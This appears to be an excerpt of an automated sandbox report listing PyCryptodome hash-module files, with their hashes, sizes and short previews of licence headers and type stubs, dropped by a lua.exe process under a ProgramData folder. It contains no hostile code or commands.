Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA224Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA224Hash: ..... def new(self, data: Optional[Buffer] = ...) -> SHA224Hash: .......def new(data: Optional[Buffer] = ...) -> SHA224Hash: .....digest_size: int..block_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA256.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7082
Entropy (8bit):	4.551051071355653
Encrypted:	false
SSDEEP:	96:dFQHvo7HgkIfKXI6e2D0FHSv3ezgi3IYVNHi3aOMtDXXZN4XM1/WxUvT1Rk:bQHvBKXIT2DsgiVNCKnDno1GBRk
MD5:	3AE05618B8FF7C9E5CB142C185620CD7
SHA1:	7568E53C598F80B07FCC378D6BB67B92A1285E1D
SHA-256:	DA3433ADAEBE699670076ABB87B264F30B568692279E535240EE76D65A33A4B9
SHA-512:	FADB71B017E324ECBD1D35BB1E39B0AD017BF3A965AFDA783EC719BB877EC64CC4458209F819C9CD07B3FAF9CD1437F55648BF1D6F74EE883AA74185108E50D9
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA256.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	630
Entropy (8bit):	4.955837939042722
Encrypted:	false
SSDEEP:	12:1REYBS55RypRyLXFL1AG7EY3AwNIY3T5Dvg7EY3LCO7EY3LMRy5Ryn:1RENQEXFRAQ/3v3Ts/3+Y/3kwy
MD5:	5630B6D27721452497E9BEE7183E9925
SHA1:	ACF9207E410A212984F867D9B1FEEEEEDA3C6B86
SHA-256:	07892D70C0FA32A19DDA232203BD7FF0D25B19F30E599924836A8D4BB6161A71
SHA-512:	1DC45AFC8773B4D797246C6972D9EFD60514C95F8C7AC19FA85D72493E7B92DE2475A2CD0AF5E11152B129E7B6904AC5DD88B378DA9D17749B2C0FD85C9A541D
Malicious:	false
Preview:	from typing import Union, Optional......class SHA256Hash(object):.. digest_size: int.. block_size: int.. oid: str.. def __init__(self, data: Optional[Union[bytes, bytearray, memoryview]]=None) -> None: ..... def update(self, data: Union[bytes, bytearray, memoryview]) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA256Hash: ..... def new(self, data: Optional[Union[bytes, bytearray, memoryview]]=None) -> SHA256Hash: .......def new(data: Optional[Union[bytes, bytearray, memoryview]]=None) -> SHA256Hash: .......digest_size: int..block_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA384.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7085
Entropy (8bit):	4.550445959384944
Encrypted:	false
SSDEEP:	96:dFQHvo7HgkI7+bImeS/IhHSvqIzEiLI8BNHG3aOMtrXXIN8Xkl/WxUv/5Rk:bQHvl+bIHS/5Ei9NmKzrnNBGBRk
MD5:	430024F4F59A49D48670405B3872A139
SHA1:	38B2F9BFDA9D28D665317305B6A9A5CE61245EF0
SHA-256:	C9264E99E50F4D958A133F2DD00B90384767753A0BC0C8345BEBA0B22CD46FF0
SHA-512:	22268CB2CBA27B1144D7F1A3D20ACAB0B9EE91E23E94618EF615E042EEFD672FD9E261BA1C9EB78FE5576D80D075093178F1AD38BB5947CD1A8603F67F67224F
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA384.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	563
Entropy (8bit):	4.911661278122058
Encrypted:	false
SSDEEP:	12:1REYB3vIY3RRypRyLu1AGR4Qwu5LgR4+OR47Ry5Ryn:1REcT33QEWAczstU6wy
MD5:	33C3A44EFBCBD9A7B7DB7C3E4FA0CF28
SHA1:	FCFEFCF1D7DAFBF71741A52550364BDF4813E021
SHA-256:	102F8DCEC4B3E3E3E019F6CE2B165C0FDDC41B70EB2E3169270BE35F227F2D5F
SHA-512:	A119DC31EADE919C8572205CB2E9865D8C305AFB21CE5A4189885524A82E7086CA1B86103EBCC36398A63FC89D750C3918CDDC18DFB3B9F0DDF6824AACDBBEF8
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA384Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA384Hash: ..... def new(self, data: Optional[Buffer] = ...) -> SHA384Hash: .......def new(data: Optional[Buffer] = ...) -> SHA384Hash: .....digest_size: int..block_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA3_224.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5437
Entropy (8bit):	4.736624937152666
Encrypted:	false
SSDEEP:	96:dFQHvo7HgkICBSvayNixIVIkWMbiKkHYeu:bQHvHNibk92DYp
MD5:	9D13CC01D96916D6210926831C499BCC
SHA1:	48045B91F37607107405D9596277DFB2EF9E816E
SHA-256:	963FD063570887132FD130BEC57DD4EED67AEA95C051FEA032A5C4B6A7AD59B3
SHA-512:	E36D621F4E464671225AE6B2DDA175CC2386DFB9CF0091C60FDDBEBCB73DECB717B8CF15730029B72DB5546D071EECB90542C65C6F198E618CCA5B9D0595914F
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA3_224.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	520
Entropy (8bit):	4.905127304462967
Encrypted:	false
SSDEEP:	12:1REYB3vIY3uMRRyLXFL1AGRT7wNMS5JJMsaLBCUMqRyn:1REcT3d3EXFRAcRS+saLBwqy
MD5:	106082C19A52032637C8FD44207217BD
SHA1:	E108338143AC22A7FF8C5807A4B6C03DE4B358E8
SHA-256:	B400AEE4F132A52F16700A3D28AEF0EF4128938A172730635365EE283F8893E8
SHA-512:	4A00120C4C6563A4A4866C3CC3B61F9F78E61227B4AFB3AC7C3035D152F3054BAA8781DCC838C7A61FCC00A19EF970EBE6E8EDD104A73B8AB91A6BE421174CBB
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA3_224_Hash(object):.. digest_size: int.. oid: str.. def __init__(self, data: Optional[Buffer], update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> SHA3_224_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def new(self) -> SHA3_224_Hash: .......def new(__data: Buffer = ..., update_after_digest: bool = ...) -> SHA3_224_Hash: .......digest_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA3_256.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5437
Entropy (8bit):	4.7397965076628505
Encrypted:	false
SSDEEP:	96:dFQHvo7HgkIC3SvUyeixIVTkWvbiRkHnBv:bQHvDeikkO2MnB
MD5:	C6C2132356CF393F64793EDA67D57DBC
SHA1:	872C37BAD3E7852778E6EFD4FA7880215CDAFB2A
SHA-256:	EF65B76F47EFED7CB86BFCCA32BF2B3015BE5A9DA5C3DFA2C01D00E058D2D357
SHA-512:	08C840D09AE5DB3800371F297F5FDF8182068A2C7A90D6A78603433FEB0701718895187E50765B532410A15161DF02E113677A8E8159C2F50ED32DC7B368EFB3
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA3_256.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	520
Entropy (8bit):	4.920511919847582
Encrypted:	false
SSDEEP:	12:1REYB3vIY3uBRyLXFL1AGRT7wNC5JJcaLBCU6Ryn:1REcT3mEXFRAc9SaLB+y
MD5:	9B826C58904032EC4700E73A606BDD3A
SHA1:	20FA53E7DC226937AE9504134CC597925CB9F926
SHA-256:	6278824FBEF090CF1D4043DA0A42D8793B5ACA2B99D24B78584D22B9B52C5A22
SHA-512:	6409918F1F442EC8F8348B1D9055DC6DE75CF821E19BCDBEB549735B91B49E94BF41357F494B03A6BAC87F4ECCDC118F06470B8987E98ECF8D055FFFBB462530
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA3_256_Hash(object):.. digest_size: int.. oid: str.. def __init__(self, data: Optional[Buffer], update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> SHA3_256_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def new(self) -> SHA3_256_Hash: .......def new(__data: Buffer = ..., update_after_digest: bool = ...) -> SHA3_256_Hash: .......digest_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA3_384.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5437
Entropy (8bit):	4.7368084906304215
Encrypted:	false
SSDEEP:	96:dFQHvo7HgkICvSvKyaixIVrkW/biZkHnlL:bQHvtaikkK2UnF
MD5:	57081A81B10CE48A614FAC20FC7ED587
SHA1:	725716896AC2A625D518A43F5EE1AA0080D90EFD
SHA-256:	2467F67B6FE66485DB768F8796E10E677607E7035702B1F416DE10619AFEA2C4
SHA-512:	5791560059D3D457E8166AB843CA9FB6AE2F173F6A3CDB4C8233790867B70FEA3220622E2D3842A1909A4AF86E5673121ECFD33F26B6F47A3F74BF71D648CD41
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA3_384.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	520
Entropy (8bit):	4.905127304462967
Encrypted:	false
SSDEEP:	12:1REYB3vIY3KHRyLXFL1AGRT7wDA5JHGaLBCs4Ryn:1REcT32EXFRAcVSaLB6y
MD5:	C02024D127CDE75F534B2E3C0531D485
SHA1:	8853F290ECF227CFC54E42F7478423B3C68FD8E6
SHA-256:	5433D17FC106562C2A17196C6AE8C790C222A78CA004CA970D33B48EFCE82FD7
SHA-512:	C539116616550F457002CB38C9D1098B760CC0FF0597CA2542DFE4B693A9B57C0B2A89FBEA419CB9CA5477C5B7CDB382CB7347B503D9C521696607406349C86A
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA3_384_Hash(object):.. digest_size: int.. oid: str.. def __init__(self, data: Optional[Buffer], update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> SHA3_384_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def new(self) -> SHA3_384_Hash: .......def new(__data: Buffer = ..., update_after_digest: bool = ...) -> SHA3_384_Hash: .......digest_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA3_512.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5440
Entropy (8bit):	4.73986649345207
Encrypted:	false
SSDEEP:	96:dFQHvo7HgkIChSvwyRixIV0xW4bi+kHM6q:bQHvhRibxB2fMJ
MD5:	31A6E0E903A33937DCE1D0E4623A7379
SHA1:	C08E29A96F7356F9A1DC66888975F8F0A8F967C9
SHA-256:	EC44FA30116D33B6D94B9FC8188972A5CFA08AEB692C614CE9087DBF11A0EF01
SHA-512:	B2589756F7C7869595B8C2571E278FF2FEE10AABB928740D69EC23FC89BD42B434EAB8B3FDB4BD34E88143202AF1F4146566B5D78DE3CDFEEFAE266DA1F257C4
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA3_512.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	520
Entropy (8bit):	4.920511919847582
Encrypted:	false
SSDEEP:	12:1REYB3vIY36WHRyLXFL1AGRT7wPWA5J7WGaLBCYW4Ryn:1REcT36WxEXFRAcuWAHWGaLBVWcy
MD5:	18F875851A2E040662A9A37F73AE3CC8
SHA1:	376064CDD90A9F828A1CAC18A09FD29EA12CE076
SHA-256:	35113C4A109D4E7F23BE0015A08FA0C505870C2B0A8A7F06CEF4164494DE1F31
SHA-512:	A768417BAC11232709FE72BC8352985546EA70F513D8C49CE0FC10DE17F8F81D27A9F7B3FC6DE7229D5F6E392AFBD619893B795AF439975BB67CCE317ACD8661
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA3_512_Hash(object):.. digest_size: int.. oid: str.. def __init__(self, data: Optional[Buffer], update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> SHA3_512_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def new(self) -> SHA3_512_Hash: .......def new(__data: Buffer = ..., update_after_digest: bool = ...) -> SHA3_512_Hash: .......digest_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA512.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7924
Entropy (8bit):	4.535718326603204
Encrypted:	false
SSDEEP:	96:dFQHvo7HgkIpywpIreZOTiHSR2c+tTq0iR7IuqNH93aOMqXXVMrynCaK/WxUvxWy:bQHvjyEIqZOzYTq0iONdKUnYqGgRk
MD5:	F7EBB8B3E6EC44133C11F5B75F2AC0CF
SHA1:	4F0230A067019EF92DF555B66D7505BD6229E570
SHA-256:	F4346FEB42803D175A2B4CB2A45FE82882C426A67A64C12AC1D723268D3E7726
SHA-512:	B36AF52C1CD4EC732E1C3A7DB556BCCAF400C298416DE241C763153E784D101F11914D42FF1792513B54EDBBA2297BD49A0B2BEC91AC0AC180151C647F341FE0
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA512.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	644
Entropy (8bit):	4.856785452609936
Encrypted:	false
SSDEEP:	12:1REYB3vIY3eRypRyLu1ApJREVwu5YgR4vORNJt0Ry5Ryn:1REcT3OQEWA1EnTcUNYwy
MD5:	B3762738614E6E1B46387BD0F80C1608
SHA1:	99293AED186FBBBF4D26C3E3A9198F2969596722
SHA-256:	BB0E0DF4F3FFFB4A2B9EFE5B674D7407BBD248678B0BF2A44FF0AA07D247DBDA
SHA-512:	E3B64DDF98F09B098B52AB79D69AF3827A483E4EDA33200B91F87BEB7E37E434D9CB75170635AE509F69D7F328F6B0A9ED258E42410265CE10B263B118C4521A
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA512Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self,.. data: Optional[Buffer],.... truncate: Optional[str]) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA512Hash: ..... def new(self, data: Optional[Buffer] = ...) -> SHA512Hash: .......def new(data: Optional[Buffer] = ...,.. truncate: Optional[str] = ...) -> SHA512Hash: .....digest_size: int..block_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHAKE128.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4771
Entropy (8bit):	4.833986000255611
Encrypted:	false
SSDEEP:	96:M7DqrYJALrYJHdt3EHGuIWHgkIC+zHijI4w+7nC/YEslLH3I:4qrskrs9t3q/IDHiSGC/fOLY
MD5:	3A8DEB1686435A6A07AF062E14DA3380
SHA1:	04083FEF634EB5F6AEEC2541C3EDF6AC47C65507
SHA-256:	6A8B1B89696E246CB6B5DD39425D7BF966231218ECFAC14C8A2C21A429AA79DD
SHA-512:	1DBFE9885030B4CB13BA4E39C2AAFB4821B4D493716FF5E638843396036970EA6F7A16D725FF44ED29F7D7346E17EF5D02B8EE7C9C566E95C81C3DD27E30FC8E
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHAKE128.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	450
Entropy (8bit):	4.960253129735369
Encrypted:	false
SSDEEP:	12:1REYB3vIY3wHVXFL1ApJR4QwEh72CX5BgR48OR42:1REcT36XFRA1Nh71m7U1
MD5:	1D2E126B0EA263236F02A5B62DA5903D
SHA1:	BCA2F2DC2A69380180FFEACDB276A6CA7FFD2036
SHA-256:	FCF71DFFB424435A46138D3B0377F30E1DB2AA318600D6DAE7B123DF848D3EA2
SHA-512:	4B806AABF25A8D9A705E282EB11EE73500BC1CF71A6EBE59A35A732DE1F5CA0D960BAC124059EF85AF9A6E5A2023895D7CDB195A884A8161275D9BE237F0A518
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHAKE128_XOF(object):.. oid: str.. def __init__(self,.. data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> SHAKE128_XOF: ..... def read(self, length: int) -> bytes: ..... def new(self, data: Optional[Buffer] = ...) -> SHAKE128_XOF: .......def new(data: Optional[Buffer] = ...) -> SHAKE128_XOF: .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHAKE256.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4771
Entropy (8bit):	4.837977112422358
Encrypted:	false
SSDEEP:	96:M7DqrYJALrYJHdt3EHGuIWHgkICHzgijI7+7nC/Ywsl3nbI:4qrskrs9t3q/IegiWGC/fO3M
MD5:	ADC62DE0F5593DACF0AAB889B99DDA8D
SHA1:	BB327B4A990BF9B16787640BEE36FCBB5B86C521
SHA-256:	4B4F8211AB0C06069525392D5022B1E730DD967C2D22AE65180E74CBE036ECBB
SHA-512:	D8C55BC62F36755C2B0D534661DB6A650F3425E461D0618F86DDCBD4B27DAAD13C8D17C6B5FDC97B850089DCEDA5C145C7217C2B98231DC9479AA805D9FC3129
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHAKE256.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	450
Entropy (8bit):	4.960253129735369
Encrypted:	false
SSDEEP:	12:1REYB3vIY3gHVXFL1ApJR4QwIh72CX5BgR4gOR4K:1REcT3g1XFRA1Rh71m/UZ
MD5:	7A030ACE3463C718EAA115B061D5E0CE
SHA1:	0525426CE1A9ABE207F53E953EA8E272E423D512
SHA-256:	5FF0C2256DD9F35EB7BF58D07EDC5A27E73173221079006B1AF95D0B114863A4
SHA-512:	230109D6EAC483A3DFA0E268477D860AF0DB445D89EF5E39B32A9833CC85E8FBD610C88993CABB097A60630620539191A6AC9742DAD3A7FA141600C7AC4603D5
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHAKE256_XOF(object):.. oid: str.. def __init__(self,.. data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> SHAKE256_XOF: ..... def read(self, length: int) -> bytes: ..... def new(self, data: Optional[Buffer] = ...) -> SHAKE256_XOF: .......def new(data: Optional[Buffer] = ...) -> SHAKE256_XOF: .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	5.219822227898795
Encrypted:	false
SSDEEP:	192:s05p7mr3Tutd9Pwv2e42bF7i+V2rQnjt1wmg9jNVmp23XDLUk:OD6tTephi+AojO9j6QHUk
MD5:	07143235F8525D6F0C377145AB9B0A55
SHA1:	1C93F3219D91971D125606F374914365E4DDC145
SHA-256:	732C3BC17111705C3B4DEA4E9CAF002F7E143406B858C2F77F8C231512544E56
SHA-512:	992A3AFA7F80F8E22ECD6D7B52B2D24D179DA67FABBCC19C89F64841B9B7A2326C85B44BA322A2C7D837EC301A6AF2CC1CEBB7B2A7A15A9FD2A77B8EEB7B12A5
Malicious:	false
